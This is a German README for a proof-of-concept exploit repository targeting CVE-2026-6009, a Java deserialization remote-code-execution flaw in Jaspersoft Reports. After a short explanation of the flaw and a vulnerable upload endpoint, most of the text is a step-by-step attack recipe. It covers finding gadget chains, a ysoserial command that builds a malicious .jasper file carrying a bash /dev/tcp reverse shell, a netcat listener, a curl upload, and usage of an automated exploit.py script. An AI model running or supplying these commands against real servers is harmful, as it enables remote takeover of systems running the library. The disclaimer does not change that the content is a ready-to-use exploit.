
Automatisierter PoC-Exploit für CVE-2026-6009, eine Java-Deserialisierungs-RCE in Jaspersoft Reports <=7.0.3. Erzeugt schädliche .jasper-Payloads über ysoserial und liefert eine Reverse Shell über den Datei-Upload-Endpunkt.
⚠️ Haftungsausschluss: Dieses Repository dient nur zu Bildungszwecken und für autorisierte Sicherheitstests. Verwenden Sie es nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.
Die Bibliothek Jaspersoft report in Version <= 7.0.3 ist anfällig für eine Remote-Code-Ausführung (RCE) durch Ausnutzung des Java-Deserialisierungsablaufs. Diese Schwachstelle ermöglicht es einem Angreifer, eine Verbindung mit einer Reverse Shell auf dem System herzustellen, das diese Version der Bibliothek verwendet.
Um Daten zu übertragen, müssen einige Systeme Objekte in ein bestimmtes übertragbares Format umwandeln – dies ist die Serialisierung. Die Deserialisierung ist die umgekehrte Operation. In Java liegt der anfällige Mechanismus in ObjectInputStream.readObject(), das verwendet wird, um beliebige Objekte aus einem Eingabestrom zu deserialisieren. Da JRLoader.loadObject() diese Methode zum Lesen von .jasper-Dateien in der Jaspersoft-Bibliothek verwendet, stellt dies eine gefährliche Eintrittsmöglichkeit für bösartigen Code dar.
Allein readObject() reicht nicht aus, um Code auszulösen. Es funktioniert nur bei bekannten ausnutzbaren Klassen. Angreifer verwenden daher bekannte Gadget Chains wie CommonCollection, um die Ausführung ihrer Payloads zu erreichen.
Um einen Proof of Concept (PoC) erstellen zu können, habe ich ein Labor auf einer Parrot-Maschine mit einem Java-Webserver eingerichtet, der die Jaspersoft-Report-Bibliothek verwendet:
@PostMapping("/upload-report")
public String uploadReport(@RequestParam("file") MultipartFile file) {
try {
InputStream is = file.getInputStream();
// ObjectInputStream.readObject() appelé en interne par JRLoader
JasperReport report = (JasperReport) JRLoader.loadObject(is);
...
Im ersten Schritt, sobald Sie wissen, dass Ihr Zielsystem eine anfällige Version von Jasperreports verwendet, müssen Sie den genauen Zielort ermitteln, an dem das Ziel die Jasper-Datei empfängt.
In dieser Umgebung ist es http://localhost:8080/upload-report
Dann müssen Sie einen Weg finden, herauszufinden, welche Klasse als Gadget Chain im Zielsystem verwendet werden kann. Sie können auch einige ausprobieren und sehen, welche das System auslöst.
In einem Whitebox-Kontext können wir diese Informationen selbst suchen:
mvn dependency:tree | grep -i "commons\|spring\|groovy\|beanshell"
Wir stellen fest, dass das System CommonsCollections verwendet.
Für CommonsCollections verwenden Sie das ysoserial-Skript, um den gewünschten Payload zu generieren. Hier erstellen Sie eine Reverse Shell:
java -jar ysoserial.jar CommonsCollections5 "/bin/bash -i >& /dev/tcp/IP_SOURCE/PORT 0>&1" > file.jasper
Sie müssen wahrscheinlich mehrere Versionen von CommonCollections testen, um die Payload-Ausführung zu erreichen.
Um eine Reverse-Shell-Verbindung herzustellen, müssen wir auf einem Port lauschen, um die vom Payload initiierte Verbindung vom Zielsystem zu empfangen:
nc -lnvp 4444
Schließlich müssen Sie nur den erstellten Payload an die gefundene Stelle senden und Ihren Port überprüfen, um zu bestätigen, dass die Verbindung vom Zielsystem hergestellt wurde:
curl -X POST http://localhost:8080/upload-report -F "[email protected]"
Ein Angreifer mit Zugriff auf den Endpunkt könnte beliebigen Code mit Serverrechten ausführen, was zu einer vollständigen Kompromittierung des Systems führen könnte.
exploit.py ist ein automatisiertes Skript, um die Ausnutzung der Schwachstelle CVE-2026-6009 zu reproduzieren.
python3 exploit.py -t TARGET -s IP_SOURCE -p PORT
python3 exploit.py -t http://localhost:8080/upload-report -s 192.168.1.1 -p 4444
| Flag | Beschreibung |
|---|---|
| -t, --target | Ort, an dem die .jasper-Datei hochgeladen werden soll. |
| -s, --source | Ihre IP-Adresse. |
| -p, --port | Der Port, mit dem die Reverse Shell verbunden werden soll. |